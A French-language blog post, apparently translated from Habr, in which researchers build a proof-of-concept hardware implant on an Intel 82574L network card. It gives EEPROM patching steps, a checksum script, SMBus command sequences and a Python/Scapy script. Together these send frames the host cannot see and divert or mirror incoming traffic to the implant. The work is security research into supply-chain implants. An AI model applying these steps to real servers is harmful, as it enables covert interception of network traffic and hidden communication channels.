Fabriquer son propre implant pour l'électronique



L'histoire de Bloomberg selon laquelle certains implants auraient été installés sur les cartes mères [les Chinois ont utilisé une puce pour contrôler les ordinateurs américains ] n'est pas passée inaperçue. Après cela, de nombreuses personnes ont partagé des idées sur la possibilité de créer de tels implants (leur taille estimée, leurs capacités ou leur méthode de détection).

Quelques jours plus tard, le magazine Bloomberg a publié un article avec des preuves supplémentaires. Voici ce qui a spécifiquement suscité notre intérêt:
Le serveur juridique a envoyé des messages dans un sens, l'implant dans l'autre, mais il semblait que tout le trafic provenait d'un serveur de confiance.


Il existe des moyens d'interagir avec la carte réseau directement depuis la carte mère. Plusieurs personnes ont indiqué que vous pouvez jouer avec le BMC (Baseboard Management Controller - un composant qui permet d'accéder au serveur en plus du canal principal), ce qui permettra à l'implant de contrôler le BMC et d'accéder à la carte réseau. Mais comment cela fonctionne-t-il dans la pratique? Voyons voir si nous pouvons reproduire cela.

Position de départ


Examinons les interfaces possibles entre la carte réseau (NIC) et le BMC. L'un des principaux protocoles pour travailler sur un canal dédié est l'interface de gestion de plateforme IPMI intelligente.

IPMI


Selon Wikipedia, IPMI est «une interface de gestion de plate-forme intelligente conçue pour surveiller et gérer de manière autonome des fonctionnalités intégrées directement dans le matériel et le micrologiciel des plates-formes de serveur. Les principales fonctionnalités d'IPMI sont la surveillance, la restauration des fonctions de gestion, la journalisation et l'inventaire, qui sont disponibles indépendamment du processeur, du BIOS et du système d'exploitation. Les fonctionnalités de gestion de plateforme peuvent être disponibles même lorsque le système est éteint. » Très similaire à ce dont nous avons besoin.

L'organigramme suivant montre un chemin possible de mise en œuvre du projet:



IPMI définit en fait deux canaux de bande latérale pour la carte réseau: SMBus et NC-SI. NC-SI est un remplacement SMBus de pointe prenant en charge des vitesses de transfert de données améliorées et d'autres nouvelles fonctionnalités. Le problème est qu'elle a besoin de plus de signaux (environ 10), et il est beaucoup plus difficile d'intervenir dans son travail lorsque nous travaillons avec un implant. Alors pour l'instant, nous allons nous attarder sur SMBus.

SMBus


SMBus (System Management Bus) est un protocole de communication série pour les périphériques d'alimentation. Bus simple à deux fils unilatéral offrant des communications simples. Le plus souvent utilisé dans les ordinateurs pour connecter la carte mère à une source d'alimentation et envoyer des instructions on / off. Basé sur le bus I 2 C , couramment utilisé dans les microcontrôleurs. L'interface n'a besoin que de deux signaux (fréquence d'horloge et données) et le troisième signal est une interruption. Parfait pour le protocole des jeux d'implants.

Premier contact


Vous devez être intelligent, ne pas avoir accès à la carte mère avec BMC. En étudiant les caractéristiques techniques des cartes mères de serveurs, nous avons constaté que certaines d'entre elles utilisent la puce Intel 82574L . Selon la documentation , il fournit «l'interface d'intercommunication avancée SMBus» - exactement ce dont vous avez besoin. Et surtout, il est disponible au format carte PCI-E.

Accès SMBus


Nous sommes allés au magasin et nous avons maintenant des cartes Intel EXPI9301CTBLK avec la puce 82574L. Et maintenant

La documentation peut suivre SMB_DAT et SMB_ALRT_N. Heureusement, ils se sont tous avérés disponibles au niveau des plots de contact. Tout semble assez simple.


PCB NIC. En haut à gauche - EEPROM, en haut à droite - connecteur pour SMBus [ALRT | CLK | DAT]. Veuillez noter que R39 et R40 sont scellés, ce qui interdit l'accès à SMBus pour le connecteur PCIe.

Nous avons connecté la sonde I 2 C et scanné le SMBus, mais nous n'avons rien compté d'utile. La documentation indique que SMBus n'est activé que lorsqu'un registre de bits spécifique est défini. Cette valeur est chargée à partir de l'EEPROM. Il est temps de creuser plus profondément.

Activer l'accès à SMBus


La documentation nous aide à nouveau. L'accès à SMBus est déterminé par la valeur du registre chargé à partir de l'EEPROM NIC. Heureusement, l'EEPROM peut être lu avec flashrom. En vidant le contenu de l'EEPROM, nous pouvons analyser et modifier les valeurs:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.


A en juger par la carte NVM (chapitre 6.1 de la documentation), il est clair que nous devons changer deux valeurs:

  • Init Control Word 2 [MNGM] (Fiche technique chapitre 6.1.1.6)
  • Compatibilité [ASF SMBus Connected] (Fiche technique chapitre 6.1.2.1.1)
  • Compatibilité [SMBus Connected] (chapitre 6.1.2.1.1 de la fiche technique)

Il suffit de considérer qu'en EEPROM les données sont stockées en petit format endian.

Après cela, nous devons encore gérer la valeur de la somme de contrôle. Le chapitre 6.1.2.11 indique que la somme de tous les mots dans la plage [0x00-0x40] doit être 0xBABA. Un peu de Python nous aidera à calculer la somme de contrôle correcte:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb


Et enfin, tous nos changements pour l'EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....


Après avoir apporté des modifications et flashé l'EEPROM, nous avons connecté une sonde I 2 C et:

i2c1> scan
Device found at address 0x49
i2c1>


L'adresse I 2 C est codée sur sept bits, l'adresse dont nous avons besoin est obtenue comme 0x49 << 1 = 0x92.

Nous avons maintenant un diagramme de travail pour notre implant. Nous pouvons envoyer des commandes au NIC:



Recevoir des informations


Comme vous l'avez peut-être deviné, nous avons continué à lire la documentation et à envoyer des commandes spécialement préparées au NIC pour vérifier que tout fonctionnait comme prévu.

La documentation décrit tout ce que vous devez savoir sur le format de transaction au chapitre 8.4.4. La seule différence est que nous n'avons pas besoin de calculer la PEC (somme de contrôle pour SMBus, qui est calculée pour chaque paquet). Par exemple, nous pouvons envoyer la commande CMD à l'adresse SLAVE en utilisant la séquence suivante:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] et [STOP] sont les conditions START et STOP définies par I 2 C.

Par exemple, la commande pour lire l'adresse MAC (décrite au chapitre 8.8.2.3) sera 0xD4. Nous envoyons la commande à SMBus en mode I 2 C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

Une fois transféré aux équipes Hydrabus, ce sera:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP


Et, oui, nous obtenons notre adresse MAC!

Faire un implant


Maintenant, sachant comment vous pouvez communiquer avec la carte réseau, voyons comment vous pouvez utiliser ce canal pour voler le trafic réseau et envoyer des données sur le réseau. Le chapitre 8 de la documentation décrit tout ce dont vous avez besoin pour ce faire.

Envoi de colis


Décrit aux chapitres 8.6 et 8.8.1. Nous pouvons simplement créer une trame Ethernet à l'aide de commandes. Voici un exemple de script pour Hydrabus ou Bus Pirate pour envoyer un paquet:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')


Après avoir exécuté le script, vous pouvez voir le package provenant de la machine avec l'implant et, plus intéressant encore, le serveur lui-même ne voit pas du tout ce package:


Tcpdump depuis la machine de l'attaquant à gauche, serveur à droite

Forfaits de lecture


Filtrage


Pour savoir quelles trames doivent aller à SMBus, la carte réseau utilise des filtres de contrôle. Ils mappent le trafic provenant du réseau et le redirigent vers PCIe, ou vers SMBus, ou les deux là et là. De notre point de vue, cela nous donne une grande flexibilité:

  • Vous pouvez suivre le trafic en définissant un filtre qui le scannera et le redirigera vers PCIe et SMBus.
  • Vous pouvez faire disparaître le trafic en le dirigeant uniquement vers SMBus.
  • Vous pouvez créer un canal caché qui ne sera pas visible pour le serveur avec l'implant.

Plus intéressant encore, le filtre peut être configuré pour suivre divers éléments du cadre:

  • Port UDP / TCP
  • VLAN
  • IPv4 - IPv6
  • Adresse MAC
  • ...

(Pour une liste complète, voir le chapitre 8.4.2.1)

Sept filtres MDEF indépendants [0: 6] sont disponibles, et chacun d'eux peut être configuré pour rediriger le trafic correspondant vers PCIe sur SMBus en utilisant le registre MANC2H (pour plus de détails, voir le chapitre 8.4.3).

Implémentation


Il s'est avéré assez difficile de tout configurer correctement, nous avons essayé de nombreuses combinaisons différentes pour faire fonctionner le filtre. Heureusement, la note sur l'application d' Intel nous a donné plus de détails sur la façon d'exécuter les filtres de la manière dont nous avons besoin.

En utilisant notre sonde I 2 C, nous pouvons configurer tout cela avec quatre commandes:

//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


Comme décrit au chapitre 8.8.1.3, il est nécessaire de régler plusieurs bits afin de permettre la réception des données et de renvoyer les trames à notre implant. Nous avons choisi l'alerte SMBus car d'autres modèles permettent à la carte réseau de faire des requêtes asynchrones à SMBus (pour plus de détails, voir le chapitre 8.4.5).

Cadres de lecture


Puisque nous avons utilisé la méthode d'alerte SMBus, nous devions nous attendre à ce que le signal SMB_ALRT_N s'éteigne avant d'envoyer la commande Receive TCO Packet. Si nous attendions trop longtemps, le paquet serait rejeté par la carte réseau.

Pour illustrer simplement le diagramme, nous enverrons des trames périodiquement et enverrons des commandes de lecture - juste pour confirmer que ce principe fonctionne. Le schéma ressemble à ceci:

  • Un serveur avec un implant possède des filtres qui surveillent le trafic avec UDP / 623 (chapitre 3.6.1.2).
  • L'implant est simulé à l'aide d'Hydrabus.
  • Un autre serveur envoie des paquets qui tombent sous le filtre à l'aide du script Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)


Il s'avère que quelque chose d'intéressant:



À gauche, SMBus lit la trame; les données de trame sont affichées ci-dessous. À droite, tcpdump, exécuté sur un serveur avec un implant, n'affiche pas les trames entrantes.

Relais de trame


En modifiant le registre MANC2H, il est possible de s'assurer que le trafic envoyé vers SMBus et PCIe est correctement affiché sur le serveur. Par exemple, créons un filtre d'interception qui répond au trafic UDP / 161 (SNMP) et l'envoie à SMBus et PCIe:

//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


En activant les filtres, nous pouvons envoyer une demande SNMP au serveur avec l'implant et voir le paquet qui a intercepté l'implant. Dans le même temps, le serveur répond à la demande - ce qui signifie que le paquet a été correctement redirigé vers SMBus et PCIe:


Ci-dessus, une requête SNMP interceptée de l'implant. Ci-dessous - la requête SNMP a atteint le serveur.

Conclusions


Nous avons décrit une méthode possible pour introduire un microcontrôleur petit et peu coûteux comme implant au niveau NIC. Un tel implant nécessite au moins quatre contacts (Vcc, GND, CLK, DAT), et il peut contrôler la carte serveur. Parmi ses caractéristiques:

  • Écoute du trafic réseau entrant vers le serveur.
  • Recevoir des commandes du réseau à l'insu du serveur.
  • Transmission de données sur le réseau à l'insu du serveur.

Dans notre exemple, pour simplifier, Hydrabus a été utilisé comme interface pour I 2 C / SMBus, mais cela peut être fait tout aussi facilement sur un petit microcontrôleur, par exemple ATtiny85 (il s'agit de la taille d'une EEPROM pour NIC).

Cependant, dans la vraie vie, l'accès à un tel implant ne serait que pour SMBus. Selon le schéma de la carte mère, ce périphérique peut être le seul disponible, et l'interaction avec le système d'exploitation du serveur sera alors impossible. Dans le cas où un contrôle total sur le système d'exploitation est requis, il est préférable de changer le code BMC, car il a déjà accès à tous les bus intéressants, et il ne laisse pas de traces visibles sur la carte mère.

Un autre inconvénient d'un tel implant est qu'il peut transmettre des données à des vitesses de l'ordre de 100 Kb / s, ce qui n'est pas suffisant pour une étude complète du trafic. De plus, l'implant est capable d'intercepter uniquement le trafic provenant du réseau. En conséquence, cette solution semble inefficace par rapport aux efforts nécessaires à sa mise en œuvre dans l'équipement cible.

Source: https://habr.com/ru/post/fr429190/


All Articles